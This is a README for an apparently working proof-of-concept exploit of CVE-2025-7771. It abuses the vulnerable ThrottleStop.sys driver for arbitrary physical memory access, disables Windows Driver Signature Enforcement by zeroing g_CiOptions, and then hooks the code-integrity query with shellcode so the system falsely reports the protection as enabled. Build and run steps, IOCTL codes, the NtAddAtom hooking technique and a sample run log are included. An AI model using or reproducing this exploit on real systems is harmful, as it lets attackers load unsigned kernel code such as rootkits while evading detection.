
PoC for CVE-2025-7771: abuses ThrottleStop.sys for arbitrary physical r/w, turns DSE off, then spoofs the integrity query so it still reports as enabled.
abuses CVE-2025-7771 to turn DSE off, then makes the integrity query lie about it so nothing notices.

This was tested on windows 10 22H2!
win10/11 x64, vs2022 (v143 is already set in the project). admin, the manifest asks for it. and ThrottleStop.sys sitting next to the exe, you can find which build on loldrivers, link at the bottom.
build the sln, it drops the exe in bin/, put the sys in there too and run it. it tells you what it's doing as it goes and either ends with SPOOF OK or tells you where it died. the service gets deleted either way, i'm not leaving a kernel service pointing at a file i might move.
SystemModuleInformation, pulls their pdb off msdl and lets dbghelp resolve what it needs. no hardcoded offsets, i got tired of redoing them every patch tuesday.MmGetPhysicalAddress if a page isn't in the map, which happens.NtAddAtom to jump to whatever kernel function it wants, calls NtAddAtom normally from usermode, puts the bytes back. that's how the stub page gets allocated. racy, 12 bytes, works.g_CiOptions. at this point DSE is genuinely off and unsigned stuff loads.SeCiCallbacks.QueryInformation at the stub, which answers {Length = 8, CodeIntegrityOptions = 0x4001} instead of 0. stub also returns the correct error codes for bad buffers and null pointers, otherwise it's obviously a stub.so g_CiOptions is 0 and everyone who asks gets told 0x4001. that's the whole trick.
[+] Driver loaded: C:\...\bin\ThrottleStop.sys
[+] NtAddAtom = 0xFFFFF805...
[+] ExAllocatePoolWithTag = 0xFFFFF805...
[+] MmGetPhysicalAddress = 0xFFFFF805...
[+] SeCiCallbacks = 0xFFFFF805...
[+] g_CiOptions = 0xFFFFF805...
[+] CiQueryInformation = 0xFFFFF805...
[+] baseline query result = 0x6
[+] PFN sweep: 41822 entries, first_st=0x0
[+] original g_CiOptions = 0x6
[+] g_CiOptions zeroed (DSE actually off)
[+] stub VA = 0xFFFFA388...
[+] stub PA = 0x15E2B000...
[+] shellcode written (49 bytes)
[+] QueryInformation -> 0xFFFFA388... (was 0xFFFFF805...)
[+] reported IntegrityOptions = 0x4001 (expected 0x4001)
[+] SPOOF OK: g_CiOptions=0
6e0786f5-2168-40a8-a068-e261c4eb10e7, sha256 16f83f056177c4ec24c7e99d01ca9d9d6713bd0497eeedb777a3ffefa99c97f0, signed by TechPowerUp LLC. it's on their sysmon blocklist already.\\.\ThrottleStop, 0x80006498 read, 0x8000649C write with {pa, data}, 8 byte max. the 8/4/2/1 chunking in WritePhysicalBuffer is only there because of that limit. theirs does port io too.I was bored, so i made this lol, use on ur own devices (i recommend running on a vm)